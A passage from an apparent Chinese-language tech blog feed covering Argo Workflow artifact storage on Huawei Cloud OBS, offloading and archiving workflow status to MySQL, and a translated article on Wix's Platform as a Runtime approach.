&lt;p&gt;MCP 的整体实现是较为简洁的，这一方面方便参与，另一方面就是碎片化的前兆。目前来说仅能支持本地，很大程度上消减了可能的性能和安全性问题，但是对于自动化、实时性要求来说，MCP 目前体现的能力还是不很清晰的。&lt;/p&gt;

&lt;p&gt;综上，跟社区的普遍思路不太一样，个人认为 MCP 作为一个便宜（便宜坊的便宜）途径，在独占大模型环境是颇有吸引力的一种解决方案。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>在 Argo workflow 中使用 OBS 进行制品传递</title>
      <link>/post/artifact-with-obs-in-argo/</link>
      <pubDate>Tue, 11 Feb 2025 21:56:17 +0800</pubDate>
      <guid>/post/artifact-with-obs-in-argo/</guid>
      <description>

&lt;p&gt;在所有的通用工作流中，都会有文件传递的需求，Argo workflow 中，可以通过对接外部存储来支持这一需求。下面就以华为云为例，展示一下对接对象存储的过程。&lt;/p&gt;

&lt;h2 id=&#34;obs-侧配置&#34;&gt;OBS 侧配置&lt;/h2&gt;

&lt;p&gt;首先在 OBS 服务中创建一个存储桶，并在控制台的&lt;code&gt;用户-&amp;gt;我的凭证-&amp;gt;访问密钥&lt;/code&gt;模块中，创建一个访问密钥，并下载凭据文件，凭据文件格式大致如下所示：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plaintext&#34;&gt;User Name,Access Key Id,Secret Access Key
&amp;quot;myusername&amp;quot;,Y9C3WCABCDEFG,6bHX5eHIJKLMN
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;argo-workflow-配置&#34;&gt;Argo workflow 配置&lt;/h2&gt;

&lt;p&gt;使用文件中的 Access Key 和 Secret Access Key ，在&lt;strong&gt;Workflow 所在的 Namespace 中&lt;/strong&gt;创建 Kubernetes Secret。例如：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl create secret generic s3-secret \
    --from-literal accessKey=Y9C3WCABCDEFG \
    --from-literal secretKey=6bHX5eHIJKLMN
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;接下来需要修改 Argo workflow 的配置文件，加入对制品的支持内容：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;  artifactRepository: |
    archiveLogs: true
    s3:
      endpoint: obs.[Region ID].myhuaweicloud.com
      bucket: [Bucket Name]
      region: cn-north-4
      insecure: false
      keyFormat: &amp;quot;my-artifacts\
        /{{workflow.creationTimestamp.Y}}\
        /{{workflow.creationTimestamp.m}}\
        /{{workflow.creationTimestamp.d}}\
        /{{workflow.name}}\
        /{{pod.name}}&amp;quot;

      accessKeySecret:
        name: s3-secret
        key: accessKey
      secretKeySecret:
        name: s3-secret
        key: secretKey
      useSDKCreds: false
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;上面的配置大致解释一下：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;在 OBS 中存储 Pod 日志&lt;/li&gt;
&lt;li&gt;使用了华为云北京四 Region 的 OBS 端点。&lt;/li&gt;
&lt;li&gt;需要引用前面创建的存储桶名称&lt;/li&gt;
&lt;li&gt;使用加密方式进行访问&lt;/li&gt;
&lt;li&gt;制品的存储路径模板为：&lt;code&gt;my-artifacts/实例创建时间（年/月/日）/实例名称/步骤所在 Pod 名称/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Access Key 引用 Kubernetes Secret 中名为 &lt;code&gt;s3-secret&lt;/code&gt; 的 &lt;code&gt;accessKey&lt;/code&gt; 字段&lt;/li&gt;
&lt;li&gt;Secret Key 引用 Kubernetes Secret 中名为 &lt;code&gt;s3-secret&lt;/code&gt; 的 &lt;code&gt;secretKey&lt;/code&gt; 字段&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;将上述内容加入 Argo workflow 所在命名空间的 &lt;code&gt;workflow-controller-configmap&lt;/code&gt;。&lt;/p&gt;

&lt;h2 id=&#34;启动工作流&#34;&gt;启动工作流&lt;/h2&gt;

&lt;p&gt;尝试启动一个使用制品能力的工作流，清单内容来自&lt;code&gt;https://argo-workflows.readthedocs.io/en/latest/walk-through/artifacts/&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;这个流程模板中定义了两个工步：&lt;/p&gt;

&lt;h3 id=&#34;生成制品&#34;&gt;生成制品&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;...
outputs:
  artifacts:
  # generate hello-art artifact from /tmp/hello_world.txt
  # artifacts can be directories as well as files
  - name: hello-art
    path: /tmp/hello_world.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;上述代码中，将 &lt;code&gt;/tmp/hello_world.txt&lt;/code&gt; 内容作为制品，并命名为 &lt;code&gt;hello-art&lt;/code&gt;。&lt;/p&gt;

&lt;h3 id=&#34;读取制品&#34;&gt;读取制品&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;inputs:
  artifacts:
  # unpack the message input artifact
  # and put it at /tmp/message
  - name: message
    path: /tmp/message
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这段代码则是获取输入中名为 &lt;code&gt;message&lt;/code&gt; 的制品，并解压到 &lt;code&gt;/tmp/message&lt;/code&gt; 路径下。&lt;/p&gt;

&lt;p&gt;执行时候，用 &lt;code&gt;{{steps.generate-artifact.outputs.artifacts.hello-art}}&lt;/code&gt; 方式引用生成的制品。&lt;/p&gt;

&lt;h3 id=&#34;执行&#34;&gt;执行&lt;/h3&gt;

&lt;p&gt;使用 Argo CLI 启动流程后，会看到类似如下的输出：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plaintext&#34;&gt;Name:                artifact-passing-mkn57
Namespace:           default
ServiceAccount:      argo-executor
Status:              Succeeded
...
STEP                       TEMPLATE                 PODNAME                                                    DURATION  MESSAGE
 ✔ artifact-passing-mkn57  artifact-example
 ├───✔ generate-artifact   hello-world-to-file      artifact-passing-mkn57-hello-world-to-file-551171166       8s
 └───✔ consume-artifact    print-message-from-file  artifact-passing-mkn57-print-message-from-file-1735545326  8s
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这时如果返回 OBS 面板，会看到存储桶中，按照前面的路径规则存储了文件以及相关的日志（&lt;code&gt;*.log&lt;/code&gt;）。&lt;/p&gt;

&lt;h2 id=&#34;其他制品相关功能&#34;&gt;其他制品相关功能&lt;/h2&gt;

&lt;h3 id=&#34;覆盖仓库配置&#34;&gt;覆盖仓库配置&lt;/h3&gt;

&lt;p&gt;前面我们在 Workflow Controller 配置文件中的配置，适用于单租户场景；多租户场景下，还可以通过 &lt;code&gt;artifactRepositoryRef&lt;/code&gt; 方式，让每个流程可以使用自己的制品配置（&lt;code&gt;https://argo-workflows.readthedocs.io/en/latest/artifact-repository-ref/&lt;/code&gt;）。&lt;/p&gt;

&lt;p&gt;首先使用 Configmap 定义多个存储对接的参数，例如：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: v1
kind: ConfigMap
metadata:
  # If you want to use this config map by default, name it &amp;quot;artifact-repositories&amp;quot;. Otherwise, you can provide a reference to a
  # different config map in `artifactRepositoryRef.configMap`.
  name: my-artifact-repository
  annotations:
    # v3.0 and after - if you want to use a specific key, put that key into this annotation.
    workflows.argoproj.io/default-artifact-repository: default-v1-s3-artifact-repository
data:
  default-v1-s3-artifact-repository: |
    s3:
...
  v2-s3-artifact-repository: |
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这段 YAML 中，提供了几个信息：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;如果想要默认使用这个 Configmap 定义制品仓库，可以将其名称设置为 &lt;code&gt;artifact-repositories&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;如果不是默认，就需要在 &lt;code&gt;artifactRepositoryRef.configMap&lt;/code&gt; 中显示定义 Configmap 名称。&lt;/li&gt;
&lt;li&gt;v3.0 以后，可以用 &lt;code&gt;workflows.argoproj.io/default-artifact-repository&lt;/code&gt; 注解定义这个 Configmap 中的默认仓库定义&lt;/li&gt;
&lt;li&gt;&lt;code&gt;data&lt;/code&gt; 字段定义了两个制品仓库。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;然后可以在 Workflow 中引用：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;spec:
  artifactRepositoryRef:
    configMap: my-artifact-repository
    key: v2-s3-artifact-repository
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;垃圾回收&#34;&gt;垃圾回收&lt;/h3&gt;

&lt;p&gt;在 Workflow 的 &lt;code&gt;spec.artifactGC&lt;/code&gt; 中，可以定义 Garbage Collection 的策略。可选策略包括 &lt;code&gt;OnWorkflowCompletion&lt;/code&gt; 和 &lt;code&gt;OnWorkflowDeletion&lt;/code&gt;。&lt;/p&gt;

&lt;h3 id=&#34;存储驱动能力列表&#34;&gt;存储驱动能力列表&lt;/h3&gt;

&lt;p&gt;除了 S3 之外，目前 Argo Workflow 支持的存储驱动能力如下：&lt;/p&gt;

&lt;p&gt;(&lt;code&gt;https://argo-workflows.readthedocs.io/en/latest/configure-artifact-repository/&lt;/code&gt;)&lt;/p&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Name&lt;/th&gt;
&lt;th&gt;Inputs&lt;/th&gt;
&lt;th&gt;Outputs&lt;/th&gt;
&lt;th&gt;Garbage Collection&lt;/th&gt;
&lt;th&gt;Usage (Feb 2020)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Artifactory&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;11%&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;Azure Blob&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;GCS&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;Git&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;HDFS&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;3%&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;HTTP&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;2%&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;OSS&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;Raw&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;5%&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;S3&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;86%&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
</description>
    </item>
    
    <item>
      <title>Argo Workflow 中的卸载和归档</title>
      <link>/post/argo-workflow-offload-and-archive/</link>
      <pubDate>Mon, 16 Dec 2024 23:38:57 +0800</pubDate>
      <guid>/post/argo-workflow-offload-and-archive/</guid>
      <description>

&lt;h2 id=&#34;卸载&#34;&gt;卸载&lt;/h2&gt;

&lt;p&gt;Argo workflow 使用 CR 方式来保存工作流的运行状态，众所周知 ETCD 有一个请求大小的限制：1MB，也就是说，如果我们的 Workflow 对象 YAML 尺寸大于 1MB，超出了 ETCD 限制，就无法正常保存了。这种场景最常见于对大量目标进行循环的情况下，作为一个成熟的工作流系统，Argo workflow 自然是考虑到这方面的限制，提供了称为卸载（Offload）的方式，用于处置超大尺寸的工作流。&lt;/p&gt;

&lt;p&gt;简单来说，在遇到超大工作流时，Argo Workflow 会对其 &lt;code&gt;status.nodes&lt;/code&gt; 字段进行压缩，然后保存到 ETCD 中，当需要查询时，会先从 ETCD 中查询出压缩后的数据，再进行解压，从而避免了 ETCD 的限制。如果压缩仍然无法满足这一要求，Argo workflow 会将它保存到数据库中。&lt;/p&gt;

&lt;p&gt;那么什么才是“超大”呢？Argo workflow 中，默认 &lt;code&gt;1024*1024&lt;/code&gt; 为超大，但是我们可以通过修改 Workflow 控制器中的 &lt;code&gt;MAX_WORKFLOW_SIZE&lt;/code&gt; 环境变量来改变这个值。为了测试方便，我们将环境变量修改为 &lt;code&gt;10240&lt;/code&gt;，也就是 10KB。&lt;/p&gt;

&lt;p&gt;为了测试方便，我们选用 &lt;code&gt;Hello&lt;/code&gt; 插件来进行测试，使用之前首先要启用这个插件：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;从 &lt;code&gt;https://github.com/argoproj-labs/argo-workflows-hello-executor-plugin&lt;/code&gt; 获取代码&lt;/li&gt;
&lt;li&gt;&lt;code&gt;kubectl apply -f hello-executor-plugin-configmap.yaml&lt;/code&gt; 即可启用该插件。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;接下来编写一个最小的 Workflow：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
  generateName: little-
spec:
  entrypoint: main
  templates:
  - name: main
    steps:
    - - name: item
        template: atom
        withSequence:
          count: &amp;quot;5&amp;quot;
  - name: atom
    plugin:
      hello: { }
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;提交之后，看一下这个工作流的尺寸：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl get wf little-xbg5g -o yaml | wc -c
    4549
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;只有 4K 多一点，不会触发压缩，如果查看这个 YAML，会看到里面的 Nodes 情况。那么我们将循环次数提高到 50 会发生什么？&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;...
  generateName: bigger-
spec:
...
    - - name: item
        template: atom
        withSequence:
          count: &amp;quot;50&amp;quot;
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;提交运行后，我们会发现，这个 WF 对象的 &lt;code&gt;status.nodes&lt;/code&gt; 节点不见了，取而代之的是 &lt;code&gt;status.compressedNodes&lt;/code&gt;，其中包含了一串编码内容，如果用 &lt;code&gt;base64 -d | gunzip&lt;/code&gt; 处理后，就会看到 &lt;code&gt;status.nodes&lt;/code&gt; 的内容了。&lt;/p&gt;

&lt;p&gt;如果工作流再大一些呢？例如我们把循环次数放大到 500：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;...
  generateName: huge-
spec:
...
    - - name: item
        template: atom
        withSequence:
          count: &amp;quot;50&amp;quot;
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Argo workflow 提交直接会出错：&lt;code&gt;workflow is longer than maximum allowed size. compressed size 18191 &amp;gt; maxSize 10240Tried to offload but encountered error: offload node status is not supported&lt;/code&gt;，也就是说，经过压缩之后，还是超出了最大限制，尝试卸载，结果失败了。那么如何启用卸载呢？&lt;/p&gt;

&lt;p&gt;&lt;code&gt;Wrokflow Controller&lt;/code&gt; 有一个可选的 Configmap，其中包含对持久化卸载的选项，例如我这样设置的：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: v1
data:
  persistence: |
    connectionPool:
      maxIdleConns: 100
      maxOpenConns: 0
      connMaxLifetime: 0s
    nodeStatusOffLoad: true
    mysql:
      host: argo-mysql.default
      port: 3306
      database: argo
      tableName: argo_workflows
      userNameSecret:
        name: argo-mysql-cred
        key: user
      passwordSecret:
        name: argo-mysql-cred
        key: password
kind: ConfigMap
metadata:
  name: workflow-controller-configmap
  namespace: argo
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;提交之前首先要准备数据库：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;在 &lt;code&gt;argo&lt;/code&gt; 命名空间中创建一个 Secret 备用，其中包含两个字段，分别是 MySQL 的用户名和密码。&lt;/li&gt;
&lt;li&gt;创建一个 MySQL Database，命名为 &lt;code&gt;argo&lt;/code&gt;，并且让前面 Secret 中声明的凭据可以访问。&lt;/li&gt;
&lt;li&gt;在配置中引用前面创建的 Secret。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;提交 Configmap 之后，重启 Workflow Controller。再次提交上述的工作流，可以看到工作流已经可以运行了。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;成功后，使用 &lt;code&gt;argo watch&lt;/code&gt; 命令是无法获取详情的，但是可以在 Argo Server 的 Web 界面上查看。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;如果进入数据库，可以看到 &lt;code&gt;argo_workflows&lt;/code&gt; 的 &lt;code&gt;nodes&lt;/code&gt; 字段已经保存了完整的 Node 信息。&lt;/p&gt;

&lt;h2 id=&#34;归档&#34;&gt;归档&lt;/h2&gt;

&lt;p&gt;虽然我们可以使用垃圾搜集策略来适时删除 Pod，但是 WF 对象始终存在，除了 &lt;code&gt;kubectl get wf &amp;gt; backup.yaml&lt;/code&gt;，Argo workflow 有没有提供更好的归档能力呢？&lt;/p&gt;

&lt;p&gt;启用数据库之后，就可以进行归档了，用法很简单，仍然从 Configmap 配置入手：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;archiveTTL: 180d
archiveLabelSelector:
  matchLabels:
    workflows.argoproj.io/archive-strategy: &amp;quot;always&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;code&gt;archiveTTL&lt;/code&gt; 表示归档寿命，默认为 0，也就是用不删除，&lt;code&gt;archiveLabelSelector&lt;/code&gt; 则是标签选择器，用于指定哪些工作流需要被归档。例如下面的 &lt;code&gt;metadata&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;metadata:
  generateName: backup-
  labels:
    workflows.argoproj.io/archive-strategy: &amp;quot;always&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;提交工作流，运行完成后，使用 &lt;code&gt;kubectl get wf&lt;/code&gt; 可以看到他的标签发生了变化：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;labels:
    workflows.argoproj.io/archive-strategy: always
    workflows.argoproj.io/completed: &amp;quot;true&amp;quot;
    workflows.argoproj.io/phase: Succeeded
    workflows.argoproj.io/workflow-archiving-status: Archived
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;此时查看数据库内容，可以看到 &lt;code&gt;argo_archived_workflows&lt;/code&gt; 表中已经记录了这个工作流的信息。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Platform As A Runtime（PaaR）——超越平台工程</title>
      <link>/post/platform-as-a-runtime-paar-beyond-platform-engineering/</link>
      <pubDate>Thu, 12 Dec 2024 22:39:53 +0800</pubDate>
      <guid>/post/platform-as-a-runtime-paar-beyond-platform-engineering/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://www.aviransplace.com/post/platform-as-a-runtime-paar-beyond-platform-engineering&#34; target=&#34;_blank&#34;&gt;Platform as a Runtime (PaaR) - Beyond Platform Engineering&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;作者：&lt;a href=&#34;https://www.aviransplace.com/profile/aviranm/profile&#34; target=&#34;_blank&#34;&gt;Aviran Mordo&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;我个人对&lt;a href=&#34;https://www.aviransplace.com/post/platform-as-a-runtime-paar-the-next-step-in-platform-engineering&#34; target=&#34;_blank&#34;&gt;平台工程&lt;/a&gt;非常有兴趣。&lt;a href=&#34;https://www.wix.com/&#34; target=&#34;_blank&#34;&gt;Wix&lt;/a&gt;已经实施了十几年的平台工程——当然，在“平台工程”这个名词诞生之前就开始了。本文将介绍 Wix 工程团队在过去几年中部署和实施的一些项目，这些项目将平台工程提升到了一个新的水平。接下来我们将深入探讨一些新的平台项目，为我们的未来愿景提供一些见解。&lt;/p&gt;

&lt;p&gt;提供一些背景信息，Wix 是一个领先的网站构建平台，拥有来自 190 个国家/地区的超过 2.4 亿注册用户（网站构建者）。我们的平台部署在全球 3 个地区的 20 个服务点。Wix 有 5,000 多名员工，其中约一半从事研发工作。因此，可以肯定地说，（软件）工程是我们工作的核心，也是我们业务价值的核心驱动力。&lt;/p&gt;

&lt;h2 id=&#34;the-need-for-speed&#34;&gt;The need for speed&lt;/h2&gt;

&lt;p&gt;成功的软件企业，能够快速交付高质量代码。随着规模的不断扩大，挑战也接踵而来。随着公司的发展壮大，因为依赖性、存量代码和复杂性的增加，让软件的交付过程日趋缓慢。&lt;/p&gt;

&lt;p&gt;计算机科学和（软件）工程诞生以来，就一直在涌现各种方法，用于对工作进行组织，从而实现更高的速度和质量。而持续交付、DevOps 和 Serverless 是目前的最新趋势。&lt;/p&gt;

&lt;p&gt;随着方法论趋势的演进，我们的工具也随之变化。这些技术的目的，当然是为了让公司能够更快速地交付软件——初创科技公司的数量及其增长推动了这样的演进。为了支持这种增长，我们看到云托管/计算提供商的出现，它们可以快速访问庞大数据中心的服务器，成功地降低了运维开销。&lt;/p&gt;

&lt;p&gt;随后出现了微服务理念，使公司能够更快地扩展规模并“更轻松”地维护其软件。最后，我们有了 Serverless，它消除了更多的开销和对服务器进行维护的需求。顾名思义，使用 Serverless，您就不再需要自行维护服务器。服务器扩容、服务机配置、Kubernetes 集群管理等问题不复存在，运维开销进一步被缩减。&lt;/p&gt;

&lt;h2 id=&#34;微服务如何影响开发速度&#34;&gt;微服务如何影响开发速度&lt;/h2&gt;

&lt;p&gt;如果从单体服务开始，那么事情相当简单。可以选用任何框架，利用任何工具。一切都能快速推进。&lt;/p&gt;

&lt;p&gt;但是随着规模的扩张，服务数量开始膨胀，事情就开始变得复杂。系统和服务之间需要进行集成——RPC/REST、数据库、消息服务等开始出现在你的组件列表里。运维、测试和管理的工作越来越多。这时就需要框架了。&lt;/p&gt;

&lt;p&gt;少量的微服务没什么问题。然而随着你的不断成长，微服务会越来越多。下图是 Wix 的微服务地图——每个矩形是一个微服务集群，这些连线代表了微服务之间的通信。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/wix-ms.png&#34; alt=&#34;wix-ms&#34; /&gt;&lt;/p&gt;

&lt;p&gt;如你所见，越多的服务就需要越多的团队。微服务之间需要协调工作，因此需要考虑他们之间的共性——他们需要使用相同的“语言”，也就是使用相同的协议和接口。例如如何处理 Cookie 和安全性？怎么完成 RPC 调用？Http Header 和 日志如何处理？&lt;/p&gt;

&lt;p&gt;下图中的条目，列出了一个需要关注的问题的列表，这些内容重要，但不完整。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/ms-items.png&#34; alt=&#34;ms-items&#34; /&gt;&lt;/p&gt;

&lt;h2 id=&#34;微服务架构的冰山一角&#34;&gt;微服务架构的冰山一角&lt;/h2&gt;

&lt;p&gt;让我们看一个示例服务的分层。虚拟机是基础层。应用在容器内运行，其之上是微服务/应用程序框架——例如 JVM 世界中的 Spring、NodeJS 的 Express。然后，在此之上，构建可信环境框架，该层使所有底层服务能够以相同的方式进行通信。通过相同的协议，使用相同的 HTTP Header，使用相同的加密/解密算法，等等。这样，它们就可以被网络上的所有其他服务使用和信任。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/layers.png&#34; alt=&#34;Layer&#34; /&gt;&lt;/p&gt;

&lt;p&gt;软件工程师会在这些层的基础上工作。业务服务处于金字塔的顶端，这些服务代表的是公司实际销售给客户的业务价值。&lt;/p&gt;

&lt;p&gt;对于我们工程师来说，这只是冰山一角。在我们处理业务逻辑代码之前，首先要处理它的整个底部部分。不幸的是，开销并没有到此为止。除了需要开发的实际产品功能之外，开发人员还需要考虑法规、业务和法律问题，例如 GDPR 合规性。这虽然不是实际销售的价值，但却是每个服务的必要内容。&lt;/p&gt;

&lt;p&gt;这些介绍有些冗长，但它解释了开发大型系统的重要性。现在让我们喘口气，谈谈……&lt;/p&gt;

&lt;h2 id=&#34;平台即运行时-paar&#34;&gt;平台即运行时（PaaR）&lt;/h2&gt;

&lt;p&gt;通常会使用内部的框架或库来构建微服务，gRPC、Kafka 客户端、连接池、A/B 测试等内容都来自这些基础代码。但是，通过这种方法，最终得到的是一个分布式通用框架。在这种情况下，就需要频繁地更新所有微服务，以便让所有服务的版本保持兼容。&lt;/p&gt;

&lt;p&gt;如何应对这种依赖开销呢？&lt;/p&gt;

&lt;p&gt;一种方案是把构建时依赖修改为运行时依赖。但在 Wix，我们更进一步。除了我们之前提到的通信协议和合约之外，构建内部框架时还需要考虑其他问题。这些其他问题包括常见的业务流程、常见的法律问题（GDPR、PII 等）、常见的租户模型、权限、身份管理等。&lt;/p&gt;

&lt;p&gt;因此，我们将所有这些业务问题和流程添加为运行时依赖项，最终得到平台即运行时 (PaaR).&lt;/p&gt;

&lt;p&gt;添加到 PaaR 中的众多内容意味着什么？每个在 PaaR 中运行的微服务都会自动处理这些问题，而无需在每个服务中进行开发。例如在 GDPR 场景里，所有服务都会自动使用 GDPR 方式获取个人数据并在合适的时间“忘记”数据，从而节省每个服务宝贵的开发时间。&lt;/p&gt;

&lt;p&gt;我们是怎样做到的？&lt;/p&gt;

&lt;p&gt;首先从我们的 Serverless 平台开始。平台核心是 NodeJS，支持了整个应用程序框架。选择 Node.js 的原因——它轻量级，支持动态代码加载，并且简单易学。&lt;/p&gt;

&lt;p&gt;第一步：我们将整个框架与 GRPC/REST/Kafka（包括发现服务）的集成层一起编码到 Node.js 服务器中，并使其成为“运行时服务器”。&lt;/p&gt;

&lt;p&gt;这样一来，我们就拥有了一组具有相同功能的“运行时”服务器。&lt;/p&gt;

&lt;p&gt;第二步：我们为数据服务添加了另一层，让开发人员可以轻松快速地连接数据库（运行时处理所有连接字符串、连接池、JDBC 等）。&lt;/p&gt;

&lt;p&gt;我们最终得到的是一个“智能”容器，它可以处理入口流量，并将所有常见问题嵌入其中，但没有太多业务逻辑。&lt;/p&gt;

&lt;p&gt;这两个步骤后，开发人员可以用运行时依赖的方式来构建业务逻辑，依赖项的代码不会和业务代码耦合在一起编译打包。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/paar.png&#34; alt=&#34;PaaR&#34; /&gt;&lt;/p&gt;

&lt;p&gt;开发人员在本地完成开发之后，就可以准备进行部署了。在 Serverless 生态中，部署应用无需关注 Node.js 服务或者容器的细节，只需要部署 TypeScript 文件或包，平台将更新代码自动加载到平台的运行时。&lt;/p&gt;

&lt;p&gt;运行时自带了注册发现能力，因此在进行服务间调用时，只需要声明调用目标，平台会自动提供匹配的客户端来完成对目标服务的调用。&lt;/p&gt;

&lt;p&gt;这些交互都是通过运行时完成的，也就是说，真正的集成工作是在运行时完成的，因此集成测试的工作开销也减少了。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/trusted-env.png&#34; alt=&#34;Trusted Env&#34; /&gt;&lt;/p&gt;

&lt;p&gt;这种做法的好处是，只需部署业务代码，而不必将其与公共库和 Node.js 运行时捆绑在一起，这使得可部署的文件非常小（大小通常小于 100Kb）。&lt;/p&gt;

&lt;h3 id=&#34;分离项目结构和部署拓扑&#34;&gt;分离项目结构和部署拓扑&lt;/h3&gt;

&lt;p&gt;上文中描述的内容，和 Lambda 地行为是颇有些相似的。差异在于，Lambda 的框架和也是和可部署程序捆绑在一起的。但是如果我要加入新函数要怎么办呢？在 Lambda 中，需要新建一个实例，或者把新的函数添加到现有的实例中；而在我们的可信环境中，我们可以把多个函数运行在同一个进程里。简单说，我们可以用微服务或者函数的粒度进行开发，但是所有这些功能又可以用单体进程的方式来运行。当然，我们也可以把这些功能分离到平台中不同的主机上——像微服务一样。&lt;/p&gt;

&lt;p&gt;不仅如此，我们还能用微服务或者单体的方式开发软件，并把软件的不同部分，部署到不同的平台主机上。&lt;/p&gt;

&lt;p&gt;举个例子，假设我们有一个服务，它有两个服务端点：一个用来响应用户请求的 RPC 端点；还有一个用来监听 Kafka 主题。我们可以在同一个项目中开发这两个函数，沿着这个思路，开发者会认为这两个端点是是一体的，这些功能是同一个逻辑服务，但其实他们会被部署到不同主机上。&lt;/p&gt;

&lt;p&gt;这样一来，这里的两个端点就有了不同的伸缩策略。在没有增加开发者心智负担和工作量的情况下，面向顾客的 RPC 函数和面向 Kafka 的两部分内容能够各自伸缩，却又完全无需进行重构和拆分。&lt;/p&gt;

&lt;p&gt;在 Wix，函数的发布是轻松又高效的。开发者将函数推送到 Github 仓库后，新增代码只是一个小小的函数，只要个把分钟，新代码就能部署和启动运行了。&lt;/p&gt;

